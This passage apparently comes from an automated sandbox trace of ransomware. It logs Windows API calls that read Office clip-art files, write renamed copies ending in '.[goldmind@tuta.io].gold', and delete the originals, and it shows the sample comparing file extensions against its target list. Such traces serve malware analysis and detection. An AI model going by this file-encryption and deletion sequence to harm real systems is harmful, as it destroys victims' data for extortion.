(lpString1=".jpg", lpString2=".WMF") returned -1 [0108.292] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.292] lstrlenW (lpString="J0107514.WMF") returned 12 [0108.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.323] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=12204) returned 1 [0108.323] CloseHandle (hObject=0x19c) returned 1 [0108.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 0x20 [0108.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.332] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.332] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0108.334] GetLastError () returned 0x0 [0108.334] ReadFile (in: hFile=0x19c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2fac, lpOverlapped=0x0) returned 1 [0108.344] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2fb0, lpOverlapped=0x0) returned 1 [0108.345] ReadFile (in: hFile=0x19c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.345] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.346] SetEndOfFile (hFile=0x3c8) returned 1 [0108.346] CloseHandle (hObject=0x3c8) returned 1 [0108.346] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.346] SetEndOfFile (hFile=0x19c) returned 1 [0108.347] CloseHandle (hObject=0x19c) returned 1 [0108.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0108.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.348] lstrlenW (lpString=".doc") returned 4 [0108.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.348] lstrlenW (lpString=".docx") returned 5 [0108.348] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.348] lstrlenW (lpString=".pdf") returned 4 [0108.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.348] lstrlenW (lpString=".xls") returned 4 [0108.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.349] lstrlenW (lpString=".xlsx") returned 5 [0108.349] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.349] lstrlenW (lpString=".ppt") returned 4 [0108.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".zip") returned 4 [0108.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.349] lstrlenW (lpString=".rar") returned 4 [0108.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString=".bz2") returned 4 [0108.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString=".7z") returned 3 [0108.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".dbf") returned 4 [0108.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".1cd") returned 4 [0108.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".jpg") returned 4 [0108.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".doc") returned 4 [0108.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString=".docx") returned 5 [0108.349] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.349] lstrlenW (lpString=".pdf") returned 4 [0108.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString=".xls") returned 4 [0108.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.349] lstrlenW (lpString=".xlsx") returned 5 [0108.349] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.349] lstrlenW (lpString=".ppt") returned 4 [0108.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".zip") returned 4 [0108.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.349] lstrlenW (lpString=".rar") returned 4 [0108.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString=".bz2") returned 4 [0108.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString=".7z") returned 3 [0108.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".dbf") returned 4 [0108.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".1cd") returned 4 [0108.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0108.349] lstrlenW (lpString=".jpg") returned 4 [0108.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.350] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.350] lstrlenW (lpString="J0107544.WMF") returned 12 [0108.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.350] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=26768) returned 1 [0108.350] CloseHandle (hObject=0x19c) returned 1 [0108.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 0x20 [0108.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.351] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.351] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0108.351] GetLastError () returned 0x0 [0108.352] ReadFile (in: hFile=0x19c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x6890, lpOverlapped=0x0) returned 1 [0108.354] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x68a0, lpOverlapped=0x0) returned 1 [0108.355] ReadFile (in: hFile=0x19c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.355] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.355] SetEndOfFile (hFile=0x3c8) returned 1 [0108.355] CloseHandle (hObject=0x3c8) returned 1 [0108.355] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.356] SetEndOfFile (hFile=0x19c) returned 1 [0108.836] CloseHandle (hObject=0x19c) returned 1 [0108.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0108.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.838] lstrlenW (lpString=".doc") returned 4 [0108.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.838] lstrlenW (lpString=".docx") returned 5 [0108.838] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.838] lstrlenW (lpString=".pdf") returned 4 [0108.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.838] lstrlenW (lpString=".xls") returned 4 [0108.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.838] lstrlenW (lpString=".xlsx") returned 5 [0108.838] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.838] lstrlenW (lpString=".ppt") returned 4 [0108.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.838] lstrlenW (lpString=".zip") returned 4 [0108.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.838] lstrlenW (lpString=".rar") returned 4 [0108.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.838] lstrlenW (lpString=".bz2") returned 4 [0108.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.838] lstrlenW (lpString=".7z") returned 3 [0108.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.838] lstrlenW (lpString=".dbf") returned 4 [0108.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.839] lstrlenW (lpString=".1cd") returned 4 [0108.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.839] lstrlenW (lpString=".jpg") returned 4 [0108.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.839] lstrlenW (lpString=".doc") returned 4 [0108.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString=".docx") returned 5 [0108.839] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.839] lstrlenW (lpString=".pdf") returned 4 [0108.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString=".xls") returned 4 [0108.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.839] lstrlenW (lpString=".xlsx") returned 5 [0108.839] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.839] lstrlenW (lpString=".ppt") returned 4 [0108.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.839] lstrlenW (lpString=".zip") returned 4 [0108.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.839] lstrlenW (lpString=".rar") returned 4 [0108.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString=".bz2") returned 4 [0108.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.839] lstrlenW (lpString=".7z") returned 3 [0108.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.839] lstrlenW (lpString=".dbf") returned 4 [0108.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.840] lstrlenW (lpString=".1cd") returned 4 [0108.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0108.840] lstrlenW (lpString=".jpg") returned 4 [0108.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.840] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0108.840] lstrlenW (lpString="J0144773.JPG") returned 12 [0108.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.043] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=40231) returned 1 [0109.043] CloseHandle (hObject=0x364) returned 1 [0109.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 0x20 [0109.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.056] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.056] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.057] GetLastError () returned 0x0 [0109.057] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x9d27, lpOverlapped=0x0) returned 1 [0109.060] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x9d30, lpOverlapped=0x0) returned 1 [0109.061] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.061] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.061] SetEndOfFile (hFile=0x3a0) returned 1 [0109.061] CloseHandle (hObject=0x3a0) returned 1 [0109.061] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.061] SetEndOfFile (hFile=0x364) returned 1 [0109.063] CloseHandle (hObject=0x364) returned 1 [0109.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0109.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.064] lstrlenW (lpString=".doc") returned 4 [0109.064] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.064] lstrlenW (lpString=".docx") returned 5 [0109.064] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0109.064] lstrlenW (lpString=".pdf") returned 4 [0109.064] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.064] lstrlenW (lpString=".xls") returned 4 [0109.065] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString=".xlsx") returned 5 [0109.065] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0109.065] lstrlenW (lpString=".ppt") returned 4 [0109.065] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.065] lstrlenW (lpString=".zip") returned 4 [0109.065] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString=".rar") returned 4 [0109.065] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString=".bz2") returned 4 [0109.065] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.065] lstrlenW (lpString=".7z") returned 3 [0109.065] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.065] lstrlenW (lpString=".dbf") returned 4 [0109.065] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.065] lstrlenW (lpString=".1cd") returned 4 [0109.065] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.065] lstrlenW (lpString=".jpg") returned 4 [0109.065] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.065] lstrlenW (lpString=".doc") returned 4 [0109.065] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.065] lstrlenW (lpString=".docx") returned 5 [0109.065] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0109.065] lstrlenW (lpString=".pdf") returned 4 [0109.065] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString=".xls") returned 4 [0109.065] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString=".xlsx") returned 5 [0109.065] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0109.065] lstrlenW (lpString=".ppt") returned 4 [0109.065] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.065] lstrlenW (lpString=".zip") returned 4 [0109.065] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString=".rar") returned 4 [0109.065] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.065] lstrlenW (lpString=".bz2") returned 4 [0109.065] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.065] lstrlenW (lpString=".7z") returned 3 [0109.066] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.066] lstrlenW (lpString=".dbf") returned 4 [0109.066] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.066] lstrlenW (lpString=".1cd") returned 4 [0109.066] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0109.066] lstrlenW (lpString=".jpg") returned 4 [0109.066] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.066] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.066] lstrlenW (lpString="J0145272.JPG") returned 12 [0109.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.066] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=49238) returned 1 [0109.066] CloseHandle (hObject=0x364) returned 1 [0109.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 0x20 [0109.067] GetFileAttributesW 